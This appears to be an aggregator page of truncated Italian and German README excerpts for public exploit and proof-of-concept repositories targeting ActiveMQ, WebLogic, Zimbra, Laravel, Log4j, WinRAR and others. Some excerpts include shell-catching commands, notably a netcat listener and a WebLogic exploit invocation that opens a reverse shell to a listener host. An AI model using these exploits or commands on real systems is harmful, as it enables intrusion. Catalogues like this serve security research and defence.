CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC PoC per ActiveMQ come descritto nel post di Horizon3 https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3...

CVE-2020-11932

CVE-2020-11932 Bug di double-free nel PoC dell'exploit di WhatsApp. Nota: assicurati di impostare l'IP del listener in exploit.c per ottenere una shell. nc -lvp 1337 o qualsiasi porta. e poi compila. make oppure gcc -o exploit egiflib.c exploit.c poi esegui ./exploit e salva il contenuto in .gif ...

Humax-CLI

Humax-CLI Un client terminale non ufficiale per Humax IR4000HD con funzionalità avanzate. Tutto ciò è venuto dall'ingegneria inversa dell'app Android e arriverà un articolo al più presto 😄 Screenshot Utilizzo : usage: sendUDP.py -h -i IP -l --try-this --loop -j -b btn btn ... optional arguments:...

CVE-2021-41773

CVE-2021-41773 Un pacchetto Zeek che genera notifiche per Path Traversal/RCE in Apache HTTP Server 2.4.49 CVE-2021-41773 e 2.4.50 CVE-2021-42013 Riferimenti https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-4201...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Esecuzione di codice remoto CVE-2019-18873, CVE-2019-18839 Sono state trovate multiple vulnerabilità XSS persistenti in FUDforum 3.0.9 che possono portare a esecuzione di codice remoto. XSS persistente tramite nome utente nel forum: Informazioni |...

vm-filesystem

vm-filesystem Un bytecode Firebeam per interagire con il filesystem, applicando anche monkey-patch alla funzione Python per l'interazione con il File Browser dell'interfaccia Havoc, consentendo di interagire con il filesystem remoto senza doverlo avere incorporato. Questo repository rappresenta...

CVE-2021-3129

CVE-2021-3129 — Esecuzione remota di codice in Laravel Ignition CVSS 9.8 Critico | Operazioni su file non sicure → Log Poisoning → Phar Deserialization → RCE Panoramica Laravel Ignition -c "whoami" Riferimenti NVD — CVE-2021-3129 Ignition Patch 2.5.2...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails prima della versione 3.2.22.2, 4.x prima della 4.1.14.2 e 4.2.x prima della 4.2.5.2 consente a un attaccante remoto di eseguire codice Ruby arbitrario sfruttando l'uso illimitato del metodo render da parte dell'applicazione...

CVE-2025-48703

🛡️ CVE-2025-48703 - Esecuzione di codice remoto RCE in cPanel File Manager 📌 Descrizione CVE-2025-48703 è una vulnerabilità di esecuzione di codice remoto RCE nel modulo filemanager di un pannello di controllo di web hosting es. cPanel. Si verifica a causa della gestione non sanificata dell'input...

Log4j-Scanner-Exploit

Log4Shell Scanner Exploit Script in bash che permette di identificare e/o sfruttare la vulnerabilità Log4shell in remoto. Questo strumento esegue diversi test utilizzando payload LDAP e header X-Api-Version, User-Agent e X-Forwarded-For. Utilizzare sempre questo script con autorizzazione preventi...

CVE-2019-12744

CVE-2019-12744 Informazioni Titolo Exploit: Esecuzione di Comandi Remoti tramite Caricamento File Non Convalidato in SeedDMS versioni 5.1.11 CVE: CVE-2019-12744 Homepage del Venditore: https://www.seeddms.org/index.php?id=2 Autore Exploit: NobodyAtall Versione testata: Seeddms 5.1.10, 5.0.11...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Esecuzione SQL arbitraria non autenticata a esecuzione di codice remoto CVE-2024-43918 Il plugin WBW Product Table Pro per WordPress è vulnerabile a esecuzione SQL arbitraria non autorizzata a causa di una mancanza di controllo delle capacità su una...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus vulnerabile a Remote Code Execution RCE a causa di una sanificazione inadeguata dell'input Panoramica CVE-2024-21534 è una vulnerabilità critica riscontrata nelle versioni del pacchetto jsonpath-plus precedenti alla versione 10.0.0. La vulnerabilità deriva da un...

CVE-2025-65817

CVE-2025-65817 Campi| Valore ---|--- Titolo| Report di vulnerabilità: LSC Smart Connect Camera Data| 2024-02-15 Descrizione| Sfruttamento dell'hook di aggiornamento della scheda SD per generare shell remote sulle telecamere LSC Smart Connect. Tag| iot, vulnerability, cve Firmware| 1.14.13 Report ...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 strumento di rilevamento e sfruttamento della vulnerabilità di esecuzione remota di codice Inserisci dominio o IP:porta per eseguire la scansione della vulnerabilità Per i target vulnerabili, è possibile sfruttare l'esecuzione di comandi Supporta...

Centreon-RCE

Centreon-RCE Centreon v.19.04 exploit di Remote Code Execution CVE-2019-13024 Revisione di https://github.com/mhaskar/CVE-2019-13024 COME USARE: 1. Modifica i valori predefiniti degli argomenti per comodità, oppure no in fondo allo script 2. Se necessario, modifica la funzione 'editcommand' per...

CVE-2023-50643

CVE-2023-50643 CVE-2023-50643 Ein Problem in Evernote für MacOS v.10.68.2 ermöglicht es einem entfernten Angreifer, beliebigen Code über die Komponenten RunAsNode und enableNodeClilnspectArguments auszuführen. Es gibt ein Tool, das entwickelt wurde, um die Suche nach Schwachstellen in Electron zu...

CVE-2025-6218-WinRAR-Directory-Traversal-RCE

CVE-2025-6218-WinRAR-Directory-Traversal-RCE CVE-2025-6218 è una vulnerabilità di directory traversal in WinRAR che consente a un attaccante di posizionare file al di fuori della directory di estrazione prevista quando un utente estrae un archivio .rar appositamente creato. Sfruttando questa fall...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670 optional arguments:...